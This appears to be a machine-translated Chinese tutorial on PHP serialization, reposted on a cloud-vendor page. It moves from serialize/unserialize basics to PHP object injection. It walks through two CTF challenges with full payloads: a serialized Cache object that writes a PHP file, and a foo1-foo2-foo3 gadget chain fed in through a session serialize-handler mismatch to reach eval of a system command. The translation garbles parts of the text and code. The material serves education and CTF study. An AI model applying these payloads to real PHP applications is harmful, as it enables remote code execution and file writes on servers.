Introduction to Simple analysis of serialization usage in PHP

Source: Internet
Author: User
Tags file upload ini serialization sessions sleep sql injection string back string format


0x00 Serialization function

Serialize (): Returns a string with variable type and value

Unserialize (): Want to change the serialized string back to the value of PHP

Test code:

<?php
Class test{
var $a;
var $b;
function __construct ($a, $b, $c) {
$a = $a;
$this->b = $b;

}
}

Class Test1 extends test{

function __construct ($a) {
$this->a = $a;
}
}
$a = ' Hello ';
$b = 123;
$c = false;
$d = new Test (' Helloa ', ' hellob ', ' helloc ');
$e = new Test1 (' Hello ');

Var_dump (serialize ($a));
Var_dump (Serialize ($b));
Var_dump (Serialize ($c));
Var_dump (Serialize ($d));
Var_dump (Serialize ($e));
?>
Run Result:

String ' s:5: "Hello"; ' (length=12)
String ' i:123; ' (length=6)
String ' b:0; ' (length=4)
String ' o:4: ' Test ': 2:{s:1: ' A '; N;s:1: "B"; s:6: "Hellob";} ' (length=46)
String ' O:5: "Test1": 2:{s:1: "a"; S:5: "Hello"; s:1: "B"; N;} ' (length=46)
Serialized string Format: Variable type: variable length: variable content.

If an object is serialized, the serialized string is in the following format:

Variable type: Class name Length: Class name: Number of attributes: {Property Type: Property name length: property name; property value Type: Property value Length: Property value Content}

Deserialize the output of the above results and execute the results:

String ' Hello ' (length=5)
int 123
Boolean false
Object (test) [1]
Public ' a ' => null
Public ' B ' => string ' Hellob ' (length=6)
Object (Test1) [1]
Public ' a ' => string ' Hello ' (length=5)
Public ' B ' => null
Serialization of 0x01 objects

When the object is serialized, PHP calls the member function sleep () of the object before the sequence action. This allows the object to do any cleanup operations before being serialized. Similarly, the wakeup () member function is invoked when the object is recovered using Unserialize ().

When the serialize () function executes, it first checks whether the sleep () function is defined in the class, and if it does, it first calls the sleep () function and preserves all the properties in the sequence string if it does not exist.

When the Unserialize () function executes, it first checks to see if the wakeup () function is defined. If Wakeup () exists, the __wakeup () function is executed, which causes the variable to be assigned a value.

Serialize () test code:

<?php
Class test{
var $a;
var $b;
function __construct ($a, $b, $c) {
$this->a = $a;
$this->b = $b;

}
function __sleep () {
echo "B has changed". \ n ";
$this->b = ' Hib ';
return $this->b;


}
function __wakeup () {
Echo "A has changed". \ n ";
$this->a = ' hia ';

}
}

Class Test1 extends test{

function __construct ($a) {
$this->a = $a;
}
}

$d = new Test (' Helloa ', ' hellob ', ' helloc ');
$e = new Test1 (' Hello ');

Serialize ($d);
Serialize ($e);

Var_dump ($d);
Var_dump ($e);
?>

Execution results:

B has changed B has changed
Object (test) [1]
Public ' a ' => string ' Helloa ' (length=6)
Public ' B ' => string ' Hib ' (length=3)
Object (Test1) [2]
Public ' a ' => string ' Hello ' (length=5)
Public ' B ' => string ' Hib ' (length=3)
Unserialize () test code:

Class test{
var $a;
var $b;
function __construct ($a, $b, $c) {
$this->a = $a;
$this->b = $b;

}
function __sleep () {
echo "B has changed". \ n ";
$this->b = ' Hib ';
return $this->b;


}
function __wakeup () {
Echo "A has changed". \ n ";
$this->a = ' hia ';

}
}

Class Test1 extends test{

function __construct ($a) {
$this->a = $a;
}
}

$d = ' o:4: "Test": 2:{s:1: "a"; N;s:1: "B"; s:6: "Hellob";} ' ;
$e = ' O:5: "Test1": 2:{s:1: "a"; S:5: "Hello"; s:1: "B"; N;} ' ;

Var_dump (Unserialize ($d));
Var_dump (Unserialize ($e));

Run Result:

A has changed
Object (test) [1]
Public ' a ' => string ' HIA ' (length=3)
Public ' B ' => string ' Hellob ' (length=6)
A has changed
Object (Test1) [1]
Public ' a ' => string ' HIA ' (length=3)
Public ' B ' => null
The use of 0x02 PHP serialization

1, Magic function and serialization

Reference: PHP Object injection

In addition to the sleep () and wakeup () functions, there are several ways to use it when serializing.

Class File
{
function __construct ($var, $file 1, $file 2) {
$this->var = $var;
$this->file1 = $file 1;
$this->file2 = $file 2;
echo $this->var ' and '. $this->file1 ' and '. $this->file2. ' Defined ';
}
function __destruct () {
Unlink (DirName (__file__). '/' . $this->file1);
echo $this->file1. ' Deleted ';
}
function __tostring () {
Return file_get_contents ($this->file2);

}


}

$file = new file (' Hello ', ' 123.txt ', ' 456.php ');
Var_dump (Serialize ($file));
echo unserialize (' O:4: "File": 3:{s:3: "var"; s:5: "Hello"; s:5: "File1"; s:7: "123.txt"; s:5: "File2"; s:7: "456.php";} ");
(Construct () function, which is invoked when an object is instantiated, and is generally used to assign a value to a property, destruct () is executed after the instantiated object completes, and the __tostring () function is invoked when an object is echo)

The construct () function defines three variables, var this is nothing warm, file1 and file2, we define in the serialization string as two files that already exist on the server 123.txt and 456.php,destruct () There is a unlink method that deletes file1,__tostring () and reads the contents of File2.

Execution results:

123.txtdeleted

View Source:

<?php Echo 123;? >123.txtdeleted

After the string is deserialized, the construct () function is no longer executed because the variable has already been assigned a value, and the variable assigned in construct () is also invalid. The destruct () method in the preceding code is executed after deserialization, after the instantiation object finishes, and the ToString () function is executed at Echo unserialize ().

If you have a request series function on the current page, you can create a PHP object injection:

http://drops.wooyun.org/papers/4820
2, three white Hat Challenge Phase III

is a source audit title, the topic is roughly SQL injection combined with serialization to write files

Some of the source code is also in a big God blog to see (because I did not do a problem, so I only intercepted and serialization of the relevant parts of the source code):

Class Cache extends \arrayobject
{
public $path;
function __construct ($path)
{
Parent::__construct ([],\arrayobject::std_prop_list | \arrayobject::array_as_props);
$this->path = $path;
if (file_exists ($path)) {
$this->cache = unserialize (file_get_contents ($this->path));
}
function offset () {
Some code that doesn't know what to do with.
}

}

function __destruct ()
{
$cache = $this->serialize ();
File_put_contents ($this->path, $cache);

}

}

And because I didn't do a problem .... So the simulation of a page to instantiate:

Include (' cache.php ');
$cache = new Cache (' Path.txt ');

The question seems to be like this:

Through SQL injection, can control a file, assuming controllable is path.txt this file (in the actual topic, the SQL injection permissions are not enough, the Web directory can not write the file, but other directories writable, the known directory has a file MD5 (username) txt, file name known, content controllable), This code means that when the file is present, it reads the contents of the file, deserializes the content, and then serializes it into the file at the end. So you can construct a serialized string in a controllable file and change the current path attribute to the directory we want.

Path.txt:

C:5: "Cache": 103:{x:i:3;a:0:{};m:a:2:{s:4: "Path"; s:25: "F:\wamp\www\test\path.php"; s:5: "Cache"; S:18: "<?php echo 123;?> ";}}

The above string is constructed from the output serialize (an instantiated cache object), and when __construct () executes, the string is deserialized, and a cache object has been instantiated, and its path value becomes what we define as the "f:\ Wamp\www\test\path.php ", and a cache property, the value of <?php Echo 123;?>, the property name cache here is optional, but if the source code:

$cache = $this->serialize ();
has become:

$cache = Serialize ($this->cache);
Then "cache" in Path.txt, s:18: "<?php Echo 123?>"; property name must be the same as the property name in Source Serialize ($this->cache).

So, now the server actually has two objects, one is $cache = new cache (' Path.txt '); Defined $cache, its Path property value is Path.txt, and the other object is

C:5: "Cache": 103:{x:i:3;a:0:{};m:a:2:{s:4: "Path"; s:25: "F:\wamp\www\test\path.php"; s:5: "Cache"; S:18: "<?php echo 123;?> ";}} The object that is deserialized, and the value of its Path property is path.php.

When the two object instantiation ends, its __destruct () method is invoked, serializing the object itself, and writing to the path defined by the path attribute. This will include the contents of <?php Echo 123?> in path.php.

3, Arnhem CTF web3

A source audit problem, the idea is to solve the session upload progress, and session serialization of the processor vulnerability combination.

Session Upload progress:

Reference: Upload-progress

When the session.upload_progress.enabled INI option is turned on, in an upload process, add a variable with the same name as the Session.upload_progress.name set in INI in the form, $_ A session value that holds the upload information is added to the sessions, which is the session.upload_progress.prefix of the post in the form as defined in the INI session.upload_ Progress.name

Test code:


<form action= "" method= "POST" enctype= "Multipart/form-data" >
<input type= "hidden" name= "<?php Echo ini_get (" Session.upload_progress.name ");?>" value= "123"/> "
<input type= "File" name= "123123"/>
<input type= "Submit"/>
</form>
<?php
Session_Start ();
Var_dump ($_session);
?>


(check to see upload Session,ini looks like to set this session.upload_progress.cleanup = off)

Session Serialization Handler:

Reference: Session serialization

When Session.auto_start = 0 o'clock:

A security issue occurs when two scripts register session sessions with a different serialization processor (Session.serialize_handler).

After testing found in the 1.php page registration session.serialize_handler= ' php_serialize ';

Register session.serialize_handler= ' php ' in 2.php;

So in 1.php, forge a format that is: a vertical bar plus an object-serialized string

such as: | O:4: "Ryat": 1:{s:2: "HI"; s:4: "Ryat";
The data is then read in the deserialized format of the PHP processor, and the object is successfully instantiated.

Conversely, if it is from the php->php_serialize, it is not feasible.

When Session.auto_start = 1 o'clock:

Can only inject PHP into the built-in classes

WEB3 Source:

class.php:

<?php
Class foo1{
Public $varr;
function __construct () {
$this->varr = "index.php";
}
function __destruct () {
if (file_exists ($this->varr)) {
Echo $this->varr;
}
echo "This is the destructor of foo1";
}
}

Class foo2{
Public $varr;
Public $obj;
function __construct () {
$this->varr = ' 1234567890 ';
$this->obj = null;
}
function __tostring () {
$this->obj->execute ();
return $this->varr;
}
function __desctuct () {
echo "This is the destructor of Foo2";
}
}

Class foo3{
Public $varr;
function Execute () {
Eval ($this->varr);
}
function __desctuct () {
echo "This is the destructor of Foo3";
}
}

?>
index.php:


<?php

Ini_set (' Session.serialize_handler ', ' php ');

Require ("./sessiontest.php");

Session_Start ();
$obj = new Foo1 ();

$obj->varr = "phpinfo.php";

?>
The way to get the program to execute the FOO3 Excute () function is through Foo2 's ToString (), which is to execute the Foo2 ToString () through the Echo Foo2, just foo1 the __deatruct () there is a paragraph of this code echo $ this->varr;

So this construction:

Include (' class.php ');
$t 1 = new Foo1;
$t 2 = new Foo2;
$t 3 = new Foo3;
$t 3->varr = "System (' WhoAmI ');";
$t 2->obj = $t 3;
$t 1->varr = $t 2;

$s 1 = serialize ($t 1);
Var_dump ($s 1);
Constructs such a string: O:4: "foo1": 1:{s:4: "Varr"; O:4: "Foo2": 2:{s:4: "Varr"; s:10: "1234567890"; s:3: "obj"; O:4: "Foo3": 1:{s:4: "Varr" ; s:17: "System (' WhoAmI '); ';}}}

So constructs a form, uploads the file to the class.php, by the session uploads the progress saves the session, triggers the session serialization loophole, because the serialization processor which is set in the INI is php_serialize, and index.php set it as PHP, so that the forged session was successfully instantiated.

There are two different kinds of interpolation ~

1. Inserts a serialized string into the php_session_upload_progress

The session name becomes the php_session_upload_progress_123,|, and the payload replaces the entire sessions value.


2. Inserts a serialized string into the post content

Because session saves the contents and filename of the uploaded file, you can also insert the serialized string into name, filename. File upload the original session value until the name before a parameter, the session name, name parameter | The payload in the back becomes the session value.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.